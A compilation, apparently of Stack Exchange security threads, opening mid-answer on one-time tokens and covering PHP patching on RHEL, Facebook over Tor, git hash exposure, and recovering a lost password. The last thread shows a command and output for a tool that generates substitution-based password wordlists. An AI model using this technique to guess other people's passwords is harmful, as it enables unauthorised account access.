So if the token is automatically eavesdropped and used before the legitimate user, he will see that someone took the access (because the token will be burned and his access will be refused). And if the token is acceded after the legitimate user, it has no value anymore.
So the authentication token, after been used, must be different from the session token used to maintain access for the user.


RHEL 6: PHP 5.3.3 - Is it inherently insecure? I am talking about the PHP 5.3.3 package that is available in the Red Hat Enterprise Linux repository, running on Apache.  From what I can see, as of RHEL 6, it is the latest version (no updates available).  I assume security patches are backported, so my question is, with all other things being equal: Is this package less secure than if I had downloaded and compiled the latest stable release from the PHP site?

Please take below-mentioned as my personal opinion.

I think is is less secure. But it depends on what you consider a security problem and what not.

real life example

my company reported a few security issues to PHP. They have fixed it in latest release of 5.5.x ..

I'm not even going to get into they have forgotten to fix it on 5.4.x tree and haven't released an updated version for 5.4.x even after my emails.

The bug report for one of them is here: https://bugs.php.net/bug.php?id=67538

Red Hat bugzilla for it is here: https://bugzilla.redhat.com/show_bug.cgi?id=1120266

Red Hat does not really consider this a security problem even if it affects quite a few shared hosting environments - as they say open_basedir, disable_functions and similar "protections" (that can be bypassed using above-mentioned bug(s)) are not real protections and should not be taken so.

Having said that - it's only up to you to decide whether it even make sense to somehow assume PHP provides some security features.

In my opinion your environment should be configured in a way that even if someone compromises a site and gains access to PHP they won't be able to do much more than just messing with that one site and nothing else.

One more answer I gave on stackoverflow might become handy in considerations.

edit: none of the issues we've reported to PHP weeks ago have been fixed in RHEL so far - that's what I based my opinion on.


Does allowing Facebook cookies over TOR threaten my anonymity? I was using Facebook on TOR without problem - I made no modifications to TOR, I just installed it and used it (except I had to do verification of identifying friends on login).

I just switched to TAILS and it told me I cannot use Facebook without enabling cookies. When I was using Facebook (and Twitter as well) on TOR did I jeapordize security?

Say theoretically a government agency in Russia or wherever wanted to know the location of that Facebook account, would they be able to know as of now?

If you've always used that Facebook account through Tor, and never through your normal connection, and the Facebook account is for an anonymous identity rather than your real identity and you never make any references using your real identity to your alter ego and vice versa, and you never login, then using Facebook over Tor does not necessarily compromise your privacy or security. The point of TAILS and Tor is that they allow you to partition your life into multiple identities in ways that someone knowing one identity won't be able to trace your other identities.

If someone wanted to trace you through your Facebook identity, they theoretically would be able to link your Facebook activities with any other things that you accessed through the Tor sessions that you used that Facebook account on. If you never use the same Tor session for anything that could've been linked to your real identity, then it's very unlikely that anyone would be able to link it to your real identity.

If you're using Facebook through Tor though, you should use Facebook's Hidden Service: https://facebookcorewwwi.onion


Are there any dangers in exposing git sha1 commit hashes? For a non-public repository, are there any potential security concerns in sharing git commit hashes? For example, when I post a git-related stackoverflow question that involves git commits from private repos, I will change the hashes slightly out of paranoia.
Or perhaps a website will serve a git commit hash in a header to show what version of the code the site is running to internal developers.
Continuing the thought, are there any concerns about an attacker getting access to sequential sha1 hashes?

As explained there, the SHA-1 hashes are identifiers for the stored objects, including commits -- they are computed deterministically from the object contents. There is no secret in there. Though SHA-1 is nominally one-way, this would theoretically allow an attacker, who wants to guess the contents of an object, to verify whether his guess is correct or not. This would entail guessing exactly, down to the last bit, including time stamps and other similar things.

If your object contains some secret data which can be brute-forced (e.g. a password, subject to dictionary attacks), then an attacker might use the SHA-1 hash as a test. This seems hard because of the condition on guessing everything else properly, but the possibility is there. Therefore, if your commit contains such secret data, you are right to change the hash value -- but in that case, don't change it slightly, because a quasi-match is as good as an exact match on hash values, for the attacker. Change the hash values completely: replace each one of them with a sequence of 40 random hexadecimal characters.

Note that knowing the hash values does not grant any other extra power to the attacker; in particular, they do not give him access to the repository.


How do I generate a word list from a known seed word? I've lost my master password. Not all is lost as I know the original word that generated the password: It was generated by a random case switching for consonants and random vocal to numbers. For instance: a and A become 4.

I'm searching online for list generators that takes the seed word and generates permutations as I've described. I yet have to find a solution.

Does someone know a generator that matches my requirement, or do I have no other option than to make my own word list?

I recently created a tool called PassGen that will do what you are talking about.  It basically takes a target words and generates a password list using common substitutions.

A basic example:

python passgen.py -f forgot

will generate 1024 passwords as shown below:

forgot
forgoT
forgo+
forgo7
.
.
.
FQR9QT
FQR9Q+
FQR9Q7

Hope this can help.